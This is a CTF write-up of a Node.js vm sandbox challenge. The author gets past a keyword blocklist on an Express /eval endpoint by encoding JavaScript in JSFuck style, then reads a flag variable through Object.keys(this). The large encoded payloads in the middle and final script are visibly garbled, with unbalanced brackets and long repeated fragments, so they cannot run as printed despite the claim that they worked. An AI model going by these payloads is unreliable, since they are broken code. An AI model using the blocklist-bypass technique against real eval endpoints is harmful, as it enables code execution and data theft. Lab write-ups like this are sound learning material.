VM

```
import express from 'express';
import vm from 'vm'
const app = express();
app.use(express.json());
const FLAG = "flag{REDACTED}";
app.post('/eval', (req, res) => {
    const { code } = req.body;
    if (typeof code !== 'string') {
     return res.status(400).send('Invalid code');
    if (/flag|FLAG|global|require|constructor|Function/.test(code)) {
     return res.status(400).send('Disallowed code');
    }
    const context = { flag: FLAG };
    vm.createContext(context);
   try {
     const result = vm.runInContext(code, context, { timeout: 1000 });
     res.send(String(result));
    } catch (err) {
     res
        .status(500)
        .send(`Error during execution: ${err.message}\n${err.stack}`);
   }
 });
app.listen(3000, () => console.log('Listening on port 3000'));
```

So, here I need to solve the JS sandbox and when I started this environment, it said

```
listening on port 3000
```

which meant now I will have to have a script to send data to this endpoint, because other than that there is no way to send input.

so using the python3 request library I created a small script which sends data

```
import requests

url = "http://localhost:3000/eval"
payload = {"code": ""}

try:
    response = requests.post(url, json=payload)
    print("Status:", response.status_code)
    print("Response:", response.text)

except requests.exceptions.ConnectionError:
    print("Error: Could not connect to localhost:3000")

except Exception as e:
    print(f"Error: {str(e)}")
```

So, as I do not have much knowledge about Javascript, the only thing I know is that everything is an object in javascript if I remeber correctly so there might be something named Object

Also I see there is a blacklist that I need to avoid, but there is no protecting for encoding so I just used a website to encode it, surprisingly it was working I tried with a basic 1+1 command

```
[][(![]+[])[+!+[]]|(![]+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|(!]|+!+[]]|+!+[]]|(!]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]|+!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+!!+[]]||+!+[]]||+!!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+[]]||+!+[]]|
```

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[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+
[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+(!+[]]+(!+[])
[([][(![]+[])[+!+[]]+(!![]+[])[+!])[!+[]+!+[]+!+[]]+(!![]+[])[(![]+[])[+!+
[]]+(!![]+[])[+!+[]+[+[]]+([][[]]+[])[+!+[]]+(![]+[]+[]+!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(!![]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])
[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+
[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()(([]+
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[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]])[+!+[]]+(![]+[])[!+
[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]()[+!+[]+[!+[]+!+[]]]+[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[])[(![]+[])[+!+
[]]+(!![]+[])[+[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(!]]+
[])[+[]]])[+!+[]+[+[]]]+(![]+[]+[]+!+[]]+(!![]+[]+[]+[]]+(!![]+[])
[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(+!+[]+(!+[]+[])
[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!!
[]+[][(![]+[])[+!+[]]+(!![]+[])[+!+[]+[+[]]+([][[]]+[])[+!+[]]+(!![]+
[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(!
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[]+!+
[]]]+[+!+[]]+([]+[])[(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]])[+!+[]]
[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])
[]]]+(![]+[]+[+[]+[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+!+[]]+[+
[]]]+(!![]+[])[+!+[]]()[+!+[]+[!+[]+!+[]]])
```

Yeah, not at all required but why not, so this gave me a result of 11, which was supposed to come.

Then I looked on the internet and found out about using <code>Object.keys(this)</code> and this gave out us a variable named flag, which I guess is our target. So, now we just need to access it and we can access it easily by just indexing it <code>this[Object.keys(this)[0]]</code>, and <code>this helps</code> us to open the file and get the value.

I did not understand it completely but I kind get what it means I guess even this["flag"], might also work but yeah first we need to encode it.

so this is the final script

```
url = "http://localhost:3000/eval"
payload = {"code": "[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!!
[]+[+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+
[+!+[]]+(!![]+[])[+[]]]+[]]+[]+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
[+!+[]]+(!![]+[])[+[]]][+!+[]]+[+[]]]+(!![]+[]+[]]][([][[]]+[]]+[])[+!+[]]+(!
(!![]+[][(![]+[])[+!+[]]+(!![]+[]+[+[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!
(![]+[])[!+[]+!+[]])()([][(![]+!+[])(+!+[]]+!+[]])()([][(![]+!+[])[+!+[]]+!+[]])
[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!!
[]]]+(!![]+[])[+!+[]]((!![]+[+|+[])+(!![]+[]+[]+[]+[]+[]+[]]+(!![]+[]+[]+[]+[]+[])[+
[][(![]+[])[+!+[]]+(!![]+[])[+!+[]]+[]+[]+[]+[]]+(![]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]+[]]+(!![]]+(!![]+[]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![])+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![]]+(!![])+(!![])+(!![])+(!![])+(!![]]+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(!![])+(![])+(!![])+(![])+(!![])+(!![])+(!![])+(![])+(![])+(![])+(![])+(![])+(![])+(![]
[][[]])[+!+[]+[+[]]]+(![]+[]+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+
[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!
```

```
(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]]+[!+[]+!+[]+!+[]+!+[]])[(![]+[])
[!+[]+!+[]]+(+(!+[]+!+[]]+(+(!+[]+!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[]]+(!+[])+(!+[]]+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[])+(!+[]
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[]]+(!![]+[])[+[]]+(!![]+[]]((![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!!
[]]]((!![]+[])[(+[]))[([][(!![]+[]+[]+!+[]+!+[]]+[]]([]]]+[])[+!+[]]+[]]+[])[+!+[]]+[]
[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[]+[]+!+[]+!+
(!![]+[])[+!+[]+[+[]]]+([![]]+([![]]+[+[]]+[+[]]+([][]]+([][]]+[+[]])[+!+[]]]
(([][(![]+!+[])[+!+[]]+!+[]][([][(![]+!+[])[+!+[]]+!+[]]+!+[]]+(!![]]+[]]
[!+[]+!+[]]+(!![]+[]](![]+[])[+!+[]]+(!![]+[])[+!+[]])[+!+[]+[+[]]]+([]
[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+
[]]]((!![]+[])[+!+[]]+(!![]+(!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[]]+[])[+
[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[])[+!+[]]+([![]]+[]+[]+[])[+!+[]+
[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+
([][(![]+[])[+!+[]]+(!![]+[])[!+[]]+[]+!+[]+!+[]+!+[]]+(![]+!+[])[!+[]+!+[]+!+[]
[]]]()[+!+[]+[+[]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]+[])[!+[]+!+[]+!+
(![]+[])[!+[]+!+[]+!+[]]+!+(]![]+(!![]+[])[+!+[]]+(!![]]+[])[+!+[]]+[])[+!+[]]
[(![]+[])[+!+[]]+(!![]+(!![]+[])[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]
[(![]+[])[+!+[]]+(!![]+[]+[])[+!+[]+[]+[]+[]+[]+[]+[]]
[]+!+[]+!+[]]+(![]+[]+!+[]+!+[]+!+[]]()[+!+[]+[+[]])+[])[+!+[]])+([]+[])[(!
```

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[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!]+!
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+!]])[+!+[]]+(!![]+[])[!+!]+!
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+!]])[+!+[]]+(!![]+[]]+(!![]+[])[+!+[]])()
[+!+[]+[!+[]+!+[]]])())"}
try:
    response = requests.post(url, json=payload)
    print("Status:", response.status_code)
    print("Response:", response.text)
except requests.exceptions.ConnectionError:
    print("Error: Could not connect to localhost:3000")
except Exception as e:
    print(f"Error: {str(e)}")
```

and the response was

Status: 200

Response: flag{REDACTED}

Done.

One more to go...